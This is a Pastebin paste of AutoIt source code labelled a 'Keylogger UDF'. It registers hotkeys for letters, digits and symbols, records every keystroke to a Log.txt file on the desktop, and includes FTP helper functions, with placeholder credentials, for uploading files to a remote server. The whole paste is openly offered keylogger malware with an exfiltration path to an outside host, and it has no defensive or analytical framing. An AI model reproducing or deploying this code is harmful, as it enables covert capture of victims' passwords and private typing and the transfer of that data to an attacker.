Advertisement
Guest User

Untitled

a guest
Dec 4th, 2015
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.77 KB | None | 0 0
  1. #include <GUIConstantsEx.au3>
  2. #include <ButtonConstants.au3>
  3. #include <File.au3>
  4. #include <Misc.au3>
  5. #include <FTPEx.au3>
  6.  
  7. ;Keylogger UDF
  8. ;Coded by Reverence
  9.  
  10. Global $Save, $Size
  11.  
  12. $Server = "ServerName"
  13. $Username = "Username"
  14. $Password = "Password"
  15.  
  16. $Save = @DesktopDir & "/" & "Log.txt"
  17. _FileCreate($Save)
  18.  
  19. _AssignKey()
  20.  
  21. Func _AssignKey()
  22. While 1
  23. HotKeySet("a", "_LogA")
  24. HotKeySet("b", "_LogB")
  25. HotKeySet("c", "_LogC")
  26. HotKeySet("d", "_LogD")
  27. HotKeySet("e", "_LogE")
  28. HotKeySet("f", "_LogF")
  29. HotKeySet("g", "_LogG")
  30. HotKeySet("h", "_LogH")
  31. HotKeySet("i", "_LogI")
  32. HotKeySet("j", "_LogJ")
  33. HotKeySet("k", "_LogK")
  34. HotKeySet("l", "_LogL")
  35. HotKeySet("m", "_LogM")
  36. HotKeySet("n", "_LogN")
  37. HotKeySet("o", "_LogO")
  38. HotKeySet("p", "_LogP")
  39. HotKeySet("q", "_LogQ")
  40. HotKeySet("r", "_LogR")
  41. HotKeySet("s", "_LogS")
  42. HotKeySet("t", "_LogT")
  43. HotKeySet("u", "_LogU")
  44. HotKeySet("v", "_LogV")
  45. HotKeySet("w", "_LogW")
  46. HotKeySet("x", "_LogX")
  47. HotKeySet("y", "_LogY")
  48. HotKeySet("z", "_LogZ")
  49. HotKeySet(" ", "_LogSpace")
  50. HotKeySet(".", "_LogDot")
  51. HotKeySet("'", "_LogApo")
  52. HotKeySet(",", "_LogComma")
  53. HotKeySet(";", "_LogSemCol")
  54. HotKeySet("/", "_LogRightSlash")
  55. HotKeySet("\", "_LogLeftSlash")
  56. HotKeySet("[", "_LogRightBracket")
  57. HotKeySet("]", "_LogLeftBracket")
  58. HotKeySet("1", "_Log1")
  59. HotKeySet("2", "_Log2")
  60. HotKeySet("3", "_Log3")
  61. HotKeySet("4", "_Log4")
  62. HotKeySet("5", "_Log5")
  63. HotKeySet("6", "_Log6")
  64. HotKeySet("7", "_Log7")
  65. HotKeySet("8", "_Log8")
  66. HotKeySet("9", "_Log9")
  67. HotKeySet("0", "_Log0")
  68. HotKeySet("{!}", "_LogEx")
  69. HotKeySet("A", "_LogCaA")
  70. HotKeySet("B", "_LogCaB")
  71. HotKeySet("C", "_LogCaC")
  72. HotKeySet("D", "_LogCaD")
  73. HotKeySet("E", "_LogCaE")
  74. HotKeySet("F", "_LogCaF")
  75. HotKeySet("G", "_LogCaG")
  76. HotKeySet("H", "_LogCaH")
  77. HotKeySet("I", "_LogCaI")
  78. HotKeySet("J", "_LogCaJ")
  79. HotKeySet("K", "_LogCaK")
  80. HotKeySet("L", "_LogCaL")
  81. HotKeySet("M", "_LogCaM")
  82. HotKeySet("N", "_LogCaN")
  83. HotKeySet("O", "_LogCaO")
  84. HotKeySet("P", "_LogCaP")
  85. HotKeySet("Q", "_LogCaQ")
  86. HotKeySet("R", "_LogCaR")
  87. HotKeySet("S", "_LogCaS")
  88. HotKeySet("T", "_LogCaT")
  89. HotKeySet("U", "_LogCaU")
  90. HotKeySet("V", "_LogCaV")
  91. HotKeySet("W", "_LogCaW")
  92. HotKeySet("X", "_LogCaX")
  93. HotKeySet("Y", "_LogCaY")
  94. HotKeySet("Z", "_LogCaZ")
  95. HotKeySet(@CRLF, "_LogEnt")
  96. HotKeySet("{#}", "_LogNum")
  97. HotKeySet("{+}", "_LogPlus")
  98. HotKeySet("^", "_LogUp")
  99. HotKeySet("{{}", "_LogRight")
  100. HotKeySet("{}}", "_LogLeft")
  101. HotKeySet("(", "_LogPa1")
  102. HotKeySet(")", "_LogPa2")
  103. HotKeySet("*", "_LogStar")
  104. HotKeySet("&", "_LogAnd")
  105. HotKeySet("%", "_LogPercent")
  106. HotKeySet("$", "_LogDollar")
  107. HotKeySet("@", "_LogAt")
  108. HotKeySet("-", "_LogHyphen")
  109. HotKeySet("_", "_LogUnderscore")
  110. HotKeySet(":", "_LogColon")
  111. HotKeySet(">", "_LogRightArr")
  112. HotKeySet("<", "_LogLeftArr")
  113. HotKeySet("?", "_LogQuesMark")
  114. HotKeySet("`", "_LogWeird")
  115. HotKeySet("~", "_LogSquiggle")
  116. WEnd
  117. EndFunc
  118.  
  119. Func _LogA()
  120. FileWrite($Save, "a")
  121. Call("_AssignKey")
  122. EndFunc
  123.  
  124. Func _LogB()
  125. FileWrite($Save, "b")
  126. Call("_AssignKey")
  127. EndFunc
  128.  
  129. Func _LogC()
  130. FileWrite($Save, "c")
  131. Call("_AssignKey")
  132. EndFunc
  133.  
  134. Func _LogD()
  135. FileWrite($Save, "d")
  136. Call("_AssignKey")
  137. EndFunc
  138.  
  139. Func _LogE()
  140. FileWrite($Save, "e")
  141. Call("_AssignKey")
  142. EndFunc
  143.  
  144. Func _LogF()
  145. FileWrite($Save, "f")
  146. Call("_AssignKey")
  147. EndFunc
  148.  
  149. Func _LogG()
  150. FileWrite($Save, "g")
  151. Call("_AssignKey")
  152. EndFunc
  153.  
  154. Func _LogH()
  155. FileWrite($Save, "h")
  156. Call("_AssignKey")
  157. EndFunc
  158.  
  159. Func _LogI()
  160. FileWrite($Save, "i")
  161. Call("_AssignKey")
  162. EndFunc
  163.  
  164. Func _LogJ()
  165. FileWrite($Save, "j")
  166. Call("_AssignKey")
  167. EndFunc
  168.  
  169. Func _LogK()
  170. FileWrite($Save, "k")
  171. Call("_AssignKey")
  172. EndFunc
  173.  
  174. Func _LogL()
  175. FileWrite($Save, "l")
  176. Call("_AssignKey")
  177. EndFunc
  178.  
  179. Func _LogM()
  180. FileWrite($Save, "m")
  181. Call("_AssignKey")
  182. EndFunc
  183.  
  184. Func _LogN()
  185. FileWrite($Save, "n")
  186. Call("_AssignKey")
  187. EndFunc
  188.  
  189. Func _LogO()
  190. FileWrite($Save, "o")
  191. Call("_AssignKey")
  192. EndFunc
  193.  
  194. Func _LogP()
  195. FileWrite($Save, "p")
  196. Call("_AssignKey")
  197. EndFunc
  198.  
  199. Func _LogQ()
  200. FileWrite($Save, "q")
  201. Call("_AssignKey")
  202. EndFunc
  203.  
  204. Func _LogR()
  205. FileWrite($Save, "r")
  206. Call("_AssignKey")
  207. EndFunc
  208.  
  209. Func _LogS()
  210. FileWrite($Save, "s")
  211. Call("_AssignKey")
  212. EndFunc
  213.  
  214. Func _LogT()
  215. FileWrite($Save, "t")
  216. Call("_AssignKey")
  217. EndFunc
  218.  
  219. Func _LogU()
  220. FileWrite($Save, "u")
  221. Call("_AssignKey")
  222. EndFunc
  223.  
  224. Func _LogV()
  225. FileWrite($Save, "v")
  226. Call("_AssignKey")
  227. EndFunc
  228.  
  229. Func _LogW()
  230. FileWrite($Save, "w")
  231. Call("_AssignKey")
  232. EndFunc
  233.  
  234. Func _LogX()
  235. FileWrite($Save, "x")
  236. Call("_AssignKey")
  237. EndFunc
  238.  
  239. Func _LogY()
  240. FileWrite($Save, "y")
  241. Call("_AssignKey")
  242. EndFunc
  243.  
  244. Func _LogZ()
  245. FileWrite($Save, "z")
  246. Call("_AssignKey")
  247. EndFunc
  248.  
  249. Func _LogSpace()
  250. FileWrite($Save, " ")
  251. Call("_AssignKey")
  252. EndFunc
  253.  
  254. Func _LogDot()
  255. FileWrite($Save, ".")
  256. Call("_AssignKey")
  257. EndFunc
  258.  
  259. Func _LogApo()
  260. FileWrite($Save, "'")
  261. Call("_AssignKey")
  262. EndFunc
  263.  
  264. Func _LogComma()
  265. FileWrite($Save, ",")
  266. Call("_AssignKey")
  267. EndFunc
  268.  
  269. Func _LogSemCol()
  270. FileWrite($Save, ";")
  271. Call("_AssignKey")
  272. EndFunc
  273.  
  274. Func _LogRightSlash()
  275. FileWrite($Save, "/")
  276. Call("_AssignKey")
  277. EndFunc
  278.  
  279. Func _LogLeftSlash()
  280. FileWrite($Save, "\")
  281. Call("_AssignKey")
  282. EndFunc
  283.  
  284. Func _LogRightBracket()
  285. FileWrite($Save, "[")
  286. Call("_AssignKey")
  287. EndFunc
  288.  
  289. Func _LogLeftBracket()
  290. FileWrite($Save, "]")
  291. Call("_AssignKey")
  292. EndFunc
  293.  
  294. Func _Log1()
  295. FileWrite($Save, "1")
  296. Call("_AssignKey")
  297. EndFunc
  298.  
  299. Func _Log2()
  300. FileWrite($Save, "2")
  301. Call("_AssignKey")
  302. EndFunc
  303.  
  304. Func _Log3()
  305. FileWrite($Save, "3")
  306. Call("_AssignKey")
  307. EndFunc
  308.  
  309. Func _Log4()
  310. FileWrite($Save, "4")
  311. Call("_AssignKey")
  312. EndFunc
  313.  
  314. Func _Log5()
  315. FileWrite($Save, "5")
  316. Call("_AssignKey")
  317. EndFunc
  318.  
  319. Func _Log6()
  320. FileWrite($Save, "6")
  321. Call("_AssignKey")
  322. EndFunc
  323.  
  324. Func _Log7()
  325. FileWrite($Save, "7")
  326. Call("_AssignKey")
  327. EndFunc
  328.  
  329. Func _Log8()
  330. FileWrite($Save, "8")
  331. Call("_AssignKey")
  332. EndFunc
  333.  
  334. Func _Log9()
  335. FileWrite($Save, "9")
  336. Call("_AssignKey")
  337. EndFunc
  338.  
  339. Func _Log0()
  340. FileWrite($Save, "0")
  341. Call("_AssignKey")
  342. EndFunc
  343.  
  344. Func _LogEx()
  345. FileWrite($Save, "!")
  346. Call("_AssignKey")
  347. EndFunc
  348.  
  349. Func _LogCaA()
  350. FileWrite($Save, "A")
  351. Call("_AssignKey")
  352. EndFunc
  353.  
  354. Func _LogCaB()
  355. FileWrite($Save, "B")
  356. Call("_AssignKey")
  357. EndFunc
  358.  
  359. Func _LogCaC()
  360. FileWrite($Save, "C")
  361. Call("_AssignKey")
  362. EndFunc
  363.  
  364. Func _LogCaD()
  365. FileWrite($Save, "D")
  366. Call("_AssignKey")
  367. EndFunc
  368.  
  369. Func _LogCaE()
  370. FileWrite($Save, "E")
  371. Call("_AssignKey")
  372. EndFunc
  373.  
  374. Func _LogCaF()
  375. FileWrite($Save, "F")
  376. Call("_AssignKey")
  377. EndFunc
  378.  
  379. Func _LogCaG()
  380. FileWrite($Save, "G")
  381. Call("_AssignKey")
  382. EndFunc
  383.  
  384. Func _LogCaH()
  385. FileWrite($Save, "H")
  386. Call("_AssignKey")
  387. EndFunc
  388.  
  389. Func _LogCaI()
  390. FileWrite($Save, "I")
  391. Call("_AssignKey")
  392. EndFunc
  393.  
  394. Func _LogCaJ()
  395. FileWrite($Save, "J")
  396. Call("_AssignKey")
  397. EndFunc
  398.  
  399. Func _LogCaK()
  400. FileWrite($Save, "K")
  401. Call("_AssignKey")
  402. EndFunc
  403.  
  404. Func _LogCaL()
  405. FileWrite($Save, "L")
  406. Call("_AssignKey")
  407. EndFunc
  408.  
  409. Func _LogCaM()
  410. FileWrite($Save, "M")
  411. Call("_AssignKey")
  412. EndFunc
  413.  
  414. Func _LogCaN()
  415. FileWrite($Save, "N")
  416. Call("_AssignKey")
  417. EndFunc
  418.  
  419. Func _LogCaO()
  420. FileWrite($Save, "O")
  421. Call("_AssignKey")
  422. EndFunc
  423.  
  424. Func _LogCaP()
  425. FileWrite($Save, "P")
  426. Call("_AssignKey")
  427. EndFunc
  428.  
  429. Func _LogCaQ()
  430. FileWrite($Save, "Q")
  431. Call("_AssignKey")
  432. EndFunc
  433.  
  434. Func _LogCaR()
  435. FileWrite($Save, "R")
  436. Call("_AssignKey")
  437. EndFunc
  438.  
  439. Func _LogCaS()
  440. FileWrite($Save, "S")
  441. Call("_AssignKey")
  442. EndFunc
  443.  
  444. Func _LogCaT()
  445. FileWrite($Save, "T")
  446. Call("_AssignKey")
  447. EndFunc
  448.  
  449. Func _LogCaU()
  450. FileWrite($Save, "U")
  451. Call("_AssignKey")
  452. EndFunc
  453.  
  454. Func _LogCaV()
  455. FileWrite($Save, "V")
  456. Call("_AssignKey")
  457. EndFunc
  458.  
  459. Func _LogCaW()
  460. FileWrite($Save, "W")
  461. Call("_AssignKey")
  462. EndFunc
  463.  
  464. Func _LogCaX()
  465. FileWrite($Save, "X")
  466. Call("_AssignKey")
  467. EndFunc
  468.  
  469. Func _LogCaY()
  470. FileWrite($Save, "Y")
  471. Call("_AssignKey")
  472. EndFunc
  473.  
  474. Func _LogCaZ()
  475. FileWrite($Save, "Z")
  476. Call("_AssignKey")
  477. EndFunc
  478.  
  479. Func _LogEnt()
  480. FileWrite($Save, @CRLF)
  481. Call("_AssignKey")
  482. EndFunc
  483.  
  484. Func _LogNum()
  485. FileWrite($Save, "#")
  486. Call("_AssignKey")
  487. EndFunc
  488.  
  489. Func _LogPlus()
  490. FileWrite($Save, "+")
  491. Call("_AssignKey")
  492. EndFunc
  493.  
  494. Func _LogUp()
  495. FileWrite($Save, "^")
  496. Call("_AssignKey")
  497. EndFunc
  498.  
  499. Func _LogRight()
  500. FileWrite($Save, "{")
  501. Call("_AssignKey")
  502. EndFunc
  503.  
  504. Func _LogLeft()
  505. FileWrite($Save, "}")
  506. Call("_AssignKey")
  507. EndFunc
  508.  
  509. Func _LogPa1()
  510. FileWrite($Save, "(")
  511. Call("_AssignKey")
  512. EndFunc
  513.  
  514. Func _LogPa2()
  515. FileWrite($Save, ")")
  516. Call("_AssignKey")
  517. EndFunc
  518.  
  519. Func _LogStar()
  520. FileWrite($Save, "*")
  521. Call("_AssignKey")
  522. EndFunc
  523.  
  524. Func _LogAnd()
  525. FileWrite($Save, "&")
  526. Call("_AssignKey")
  527. EndFunc
  528.  
  529. Func _LogPercent()
  530. FileWrite($Save, "%")
  531. Call("_AssignKey")
  532. EndFunc
  533.  
  534. Func _LogDollar()
  535. FileWrite($Save, "$")
  536. Call("_AssignKey")
  537. EndFunc
  538.  
  539. Func _LogAt()
  540. FileWrite($Save, "@")
  541. Call("_AssignKey")
  542. EndFunc
  543.  
  544. Func _LogHyphen()
  545. FileWrite($Save, "-")
  546. Call("_AssignKey")
  547. EndFunc
  548.  
  549. Func _LogUnderscore()
  550. FileWrite($Save, "_")
  551. Call("_AssignKey")
  552. EndFunc
  553.  
  554. Func _LogQuesMark()
  555. FileWrite($Save, "?")
  556. Call("_AssignKey")
  557. EndFunc
  558.  
  559. Func _LogRightArr()
  560. FileWrite($Save, ">")
  561. Call("_AssignKey")
  562. EndFunc
  563.  
  564. Func _LogLeftArr()
  565. FileWrite($Save, "<")
  566. Call("_AssignKey")
  567. EndFunc
  568.  
  569. Func _LogWeird()
  570. FileWrite($Save, "`")
  571. Call("_AssignKey")
  572. EndFunc
  573.  
  574. Func _LogSquiggle()
  575. FileWrite($Save, "~")
  576. Call("_AssignKey")
  577. EndFunc
  578.  
  579. Func _LogColon()
  580. FileWrite($Save, ":")
  581. Call("_AssignKey")
  582. EndFunc
  583.  
  584. Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile)
  585.  
  586. $oFTP = _FTP_Open("myftp")
  587. $oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)
  588.  
  589. _FTP_FilePut($oConnect, $LocFile, $RemFile)
  590.  
  591. _FTP_Close($oFTP)
  592.  
  593. EndFunc
  594.  
  595. Func _FTP_CreateDir($DirName)
  596.  
  597. $oFTP = _FTP_Open("myftp")
  598. $oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)
  599.  
  600. _FTP_DirCreate($oConnect, $DirName)
  601.  
  602. _FTP_Close($oFTP)
  603.  
  604. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement